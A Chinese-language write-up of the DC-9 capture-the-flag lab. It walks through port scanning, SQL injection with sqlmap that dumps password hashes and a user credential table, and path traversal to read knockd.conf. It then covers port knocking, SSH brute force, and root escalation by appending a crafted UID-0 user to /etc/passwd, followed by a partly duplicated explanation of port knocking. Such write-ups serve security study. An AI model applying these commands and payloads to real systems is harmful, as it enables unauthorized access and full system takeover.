靶机-DC9

arp-scan查找靶机IP

masscan 192.168.253.141 --ports 0-65535 --rate=10000端口扫描

nmap扫描

nmap -T5 -A -p- 192.168.253.141

目录扫描

访问链接找到

http://192.168.253.141/display.php

抓一下数据包，怀疑存在注入，放在sqlmap中尝试

获得用户名密码

| admin | 856f5de590ef37314e7c3bdf6f8a66dc |

解密：transorbital1

登录进来发现多了一个模块

下面一直显示，尝试文件包含

文件包含利用
日志访问(失败)
一般利用方式是包含log的内容写shell
尝试翻阅一下是否有log日志

/var/log/auth.log # ssh登录日志

/var/log/apache2/access.log # apache访问日志

查看端口守护程序
因为存在过滤端口，从这个角度切入

knockd.conf是一种端口试探服务器工具
它侦听以太网或其他可用接口上的所有流量，等待特殊序列的端口命中(port-hit)
telnet或Putty等客户软件通过向服务器上的端口发送TCP或数据包来启动端口命中

简单来说就是隐藏ssh登陆端口，知道它的自定义端口后，依次对其进行敲门，然后就可以开启ssh服务从而进行连接了。

…/…/…/…/…/etc/knockd.conf

这里可以使用nmap依次敲击 7469 8475 9842 端口实现敲门操作

python sqlmap.py -r C:\Users\zy\Desktop\1.txt -C username,password -D users -T UserDetails --dump

爆破UserDetails 数据库

+-----------+---------------+
| marym     | 3kfs86sfd     |
| julied    | 468sfdfsd2    |
| fredf     | 4sfd87sfd1    |
| barneyr   | RocksOff      |
| tomc      | TC&TheBoyz    |
| jerrym    | B8m#48sd      |
| wilmaf    | Pebbles       |
| bettyr    | BamBam01      |
| chandlerb | UrAG0D!       |
| joeyt     | Passw0rd      |
| rachelg   | yN72#dsd      |
| rossg     | ILoveRachel   |
| monicag   | 3248dsds7s    |
| phoebeb   | smellycats    |
| scoots    | YR3BVxxxw87   |
| janitor   | Ilovepeepee   |
| janitor2  | Hawaii-Five-0 |

ssh爆破进入，用弱口令工具也可以

login:chandlerb   password: UrAG0D!
login:joeyt   password:Passw0rd     
login: janitor   password: Ilovepeepee

janitor登录ssh

看到隐藏文件

找到一些密码

BamBam01
Passw0rd
smellycats
P0Lic#10-4
B4-Tru3-001
4uGU5T-NiGHts

爆出新密码

login: fredf password: B4-Tru3-001

sudo -l

提示使用 python test.py 加参数运行，使用find命令找到该文件，查看源代码

find / -name "test.py" 2>/dev/null

该脚本可以将指定内容写到指定文件里，运行脚本时，第一个参数为要读取内容，第二个参数将读取的内容写到指定文件，我们可以通过修改/etc/passwd/文件来实现指定用户是否为root，所以，我们构造一个root权限的用户文件，写入到/etc/passwd文件中，即可成功拿下root

用户名：密码hash：uid：gid：说明：家目录：登陆后使用的shell
我们可以造一个符合该格式的用户，写到可写目录下，比如/tmp

openssl passwd -1 -salt DC9 123456 //造一个账号：DC9，密码：123456（hash）的用户
-1 ：使用md5加密算法
-salt ：自动插入一个随机数作为文件内容加密

接着开始把内容写入/tmp/DC9，运行test脚本，把内容写入/etc/passwd，切换到DC9用户，成功得到root权限，查看目录下的flag。

echo ‘DC9:$1$DC9$Xug09hvtJ0EIhUq.BKwOO1/:0:0:root:/bin/bash’ >> /tmp/DC9 //把内容写入/tmp/DC9
sudo ./test /tmp/DC9 /etc/passwd //把内容写入/etc/passwd

su进入

获取root权限并找到flag

端口敲击守护程序

这个内容本质上就是防止被端口扫描。从资料上看在电网这种工业级上考虑的较多。

    端口扫描也是威胁 Web 安全的一种方式，服务器主机关闭不必要的端口对这一攻击有一定的作用，但是对于必须开启的端口还是存在着安全隐患，为了预防这一类网络攻击,系统采用一种“服务敲门”的方式来开启或关闭端口。    “服务敲门”也就是端口试探,它的原理类似一次约定好的秘密握手，一定时间间隔发送一定序列的UDP 或 TCP 数据包,运行在主机上的抓包程序捕捉到之后,开启对应端口或关闭对应端口。以 22 端口为

除了使用直接利用本地安装的knockd工具之外也可以用其他方法进行端口敲击，就是有时间限制。

隐患，为了预防这一类网络攻击,系统采用一种“服务敲门”的方式来开启或关闭端口。 “服务敲门”也就是端口试探,它的原理类似一次约定好的秘密握手，一定时间间隔发送一定序列的UDP 或 TCP 数据包,运行在主机上的抓包程序捕捉到之后,开启对应端口或关闭对应端口。以 22 端口为

除了使用直接利用本地安装的`knockd`工具之外也可以用其他方法进行端口敲击，就是有时间限制。

例如 `nmap -p[端口] [ip]` `nc [ip] [端口]`